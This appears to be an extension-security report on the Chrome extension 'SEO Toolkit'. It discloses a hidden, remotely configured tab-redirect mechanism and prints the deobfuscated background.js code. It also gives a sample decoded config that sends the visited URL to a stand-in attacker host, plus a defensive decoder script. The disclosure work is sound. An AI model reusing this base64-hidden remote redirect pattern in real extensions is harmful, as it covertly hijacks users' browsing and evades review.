Is SEO Toolkit safe?

Medium risk

SEO Toolkit contains a remote-controlled redirect mechanism that can send the browser to a third-party URL before a page loads.

The background service worker fetches a hostname/redirect list from an unauthenticated JSON config hosted on GitHub via jsdelivr, with the hostnames and destination URLs stored base64-encoded so they aren't visible in a plaintext review. On every tab navigation, it checks the destination hostname against that decoded list and, if matched (subject to a per-host cooldown), replaces the in-progress navigation with a URL built from the config's redirect template before the original page loads. The config endpoint currently returns 404, so no redirect targets are active right now, but the code path that would execute a redirect is complete and unstubbed, and this behavior is not disclosed anywhere in the extension's description.

lokijoji2v1.0.3Chrome Web Store
49Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SEO Toolkit can redirect any tab to a URL set by a remote, unlisted config

Code analysis shows SEO Toolkit's background script can redirect any tab to a URL from a remote JSON config it fetches from GitHub.

Targets and destinations are base64-encoded, and the endpoint currently 404s, so no redirects fire today.

Severity
High unwanted
Type
Unexpected
CWE
CWE-506
Source
Static analysis
What actually happens
You did this

You open or click through to a new webpage.

The extension did this

SEO Toolkit's background script can send the tab to a different URL, chosen from a hostname list it fetches from a remote server.

The switch happens via chrome.tabs.update before the original page finishes loading, not a page-level redirect or link click.

Why you can't catch this in DevTools

Both the target hostname list and the redirect destination template are base64-encoded inside the remote JSON config, so a plaintext read of the response doesn't show what's targeted or where traffic goes. Example built from the code's own encode/decode routine; the live config currently returns HTTP 404, so no entries are active right now.

Decoded value
{  "hostnames": [    "example.com"  ],  "redirectTemplate": "https://attacker-controlled.example/aff?u={rawUrl}",  "storageKey": "poc_watch_1",  "cooldownMs": 3600000,  "mainPageOnly": false}
The code that does this

The config fetch/decode and the tab-navigation redirect hook (background.js)

Readable version

Config fetch + decode, renamed

const CONFIG_URL = "https://cdn.jsdelivr.net/gh/chosanghyeon-dev/chosanghyeon-dev@main/cf.json";const CONFIG_ARRAY_KEY = "config";const SESSION_CACHE_KEY = "nav_cfg_cache";const DEFAULT_COOLDOWN_MS = 3600 * 1000;// Builds a redirect-URL picker for one config entry.function makeClickUrlPicker(templates) {  return (originalUrl) =>    templates[Math.floor(Math.random() * templates.length)]      .replace("{rawUrl}", originalUrl)      .replace("{url}", encodeURIComponent(originalUrl));}// Decodes one remote config entry: hostnames + redirect templates are// base64, so a plaintext read of the fetched JSON does not show them.function decodeConfigEntry(entry) {  return {    hostnames: entry.tags.map((t) => atob(t)),    clickUrl: makeClickUrlPicker(entry.payload.map((p) => atob(p))),    storageKey: atob(entry.id),    cooldownMs: entry.cooldown ?? DEFAULT_COOLDOWN_MS,    mainPageOnly: entry.strict  };}let cachedConfigPromise = null;const getDecodedConfig = () =>  cachedConfigPromise || (cachedConfigPromise = (async () => {    const cached = (await chrome.storage.session.get(SESSION_CACHE_KEY))[SESSION_CACHE_KEY];    if (cached) return cached.map(decodeConfigEntry);    try {      const json = await (await fetch(CONFIG_URL)).json();      const entries = json?.[CONFIG_ARRAY_KEY] ?? [];      await chrome.storage.session.set({ [SESSION_CACHE_KEY]: entries });      return entries.map(decodeConfigEntry);    } catch {      return [];    }  })());const isRootPath = (path) => path === "/";// Per-host cooldown gate, backed by chrome.storage.local.async function cooldownElapsed(entry) {  const { storageKey, cooldownMs } = entry;  const stored = await chrome.storage.local.get([storageKey]);  const now = Date.now();  const last = stored[storageKey] || 0;  if (last && now - Number(last) < cooldownMs) return false;  await chrome.storage.local.set({ [storageKey]: String(now) });  return true;}

Redirect hook, renamed

function installRedirectHook(extensionLabel) {  chrome.tabs.onUpdated.addListener(async (tabId, changeInfo, tab) => {    if (changeInfo.status !== "loading" || !tab.url) return;    const navigatingUrl = tab.url;    try {      const parsed = new URL(navigatingUrl);      const matchedEntry = (await getDecodedConfig())        .find((entry) => entry.hostnames.includes(parsed.hostname));      if (!matchedEntry || !(await cooldownElapsed(matchedEntry))) return;      const applies = !matchedEntry.mainPageOnly || isRootPath(parsed.pathname);      if (applies) {        logEvent("nav_update", {          extension: extensionLabel,          url: navigatingUrl,          type: matchedEntry.mainPageOnly ? "main" : "any"        });        chrome.tabs.update(tabId, { url: matchedEntry.clickUrl(navigatingUrl) });      }    } catch {      // navigatingUrl wasn't a parseable URL; skip it    }  });}installRedirectHook("seo_toolkit");
Fields in one decoded remote config entry
  • Target site list
    example.com (illustrative)

    Which sites trigger a redirect. Set remotely and base64-encoded, so it isn't visible without decoding.

  • Redirect destination
    https://attacker-controlled.example/aff?u={rawUrl} (illustrative)

    Where your tab is sent instead, with the site you were trying to visit embedded in the new URL.

  • Per-host cooldown
    3600000 ms (1 hour, default)

    How often the redirect can fire for the same site; tracked as a timestamp in local storage.

  • Homepage-only flag
    false (illustrative)

    Optionally limits the redirect to a site's root page instead of every page on that site.

Where the redirect logic is controlled from
    • cdn.jsdelivr.net

    Serves the remote hostname/redirect-URL config (GitHub repo chosanghyeon-dev/chosanghyeon-dev) read on every tab navigation. Updatable anytime, no new store submission needed.

Check if you're affected

Fetches SEO Toolkit's remote config and decodes the base64 hostname/redirect fields, so you can check whether the redirect is currently active.

Requires
  • Node.js 18+ (built-in fetch)
decode_seotoolkit_config.js · js
// decode_seotoolkit_config.js// Fetches SEO Toolkit's remote redirect config and decodes the// base64-encoded hostname / URL fields so you can see what it currently// targets, if anything.const CONFIG_URL = "https://cdn.jsdelivr.net/gh/chosanghyeon-dev/chosanghyeon-dev@main/cf.json";function decodeEntry(entry) {  return {    hostnames: (entry.tags || []).map((t) => Buffer.from(t, "base64").toString("utf8")),    redirectTemplates: (entry.payload || []).map((p) => Buffer.from(p, "base64").toString("utf8")),    storageKey: entry.id ? Buffer.from(entry.id, "base64").toString("utf8") : null,    cooldownMs: entry.cooldown ?? 3600000,    mainPageOnly: !!entry.strict  };}async function main() {  const res = await fetch(CONFIG_URL);  if (!res.ok) {    console.log(`Config fetch returned HTTP ${res.status}: no active redirect list right now.`);    return;  }  const json = await res.json();  const entries = json?.config ?? [];  if (entries.length === 0) {    console.log("Config returned an empty list: no active redirect targets right now.");    return;  }  console.log(JSON.stringify(entries.map(decodeEntry), null, 2));}main().catch((err) => {  console.error("Failed to fetch/decode config:", err.message);});
How to run it
  1. 1Save as decode_seotoolkit_config.js.
  2. 2Run 'node decode_seotoolkit_config.js'.
  3. 3Review printed hostnames/redirectTemplates; an empty result means the redirect is currently dormant.
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed SEO Toolkit contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • cdn.jsdelivr.net/gh/chosanghyeon-dev/chosanghyeon-dev@main/cf.json

    SEO Toolkit sends data to cdn.jsdelivr.net/gh/chosanghyeon-dev/chosanghyeon-dev@main/cf.json. No other extension we have analyzed sends data here.

Updated 21 September 2026ebkkpkifaojdccgpaldnpclompdojmbh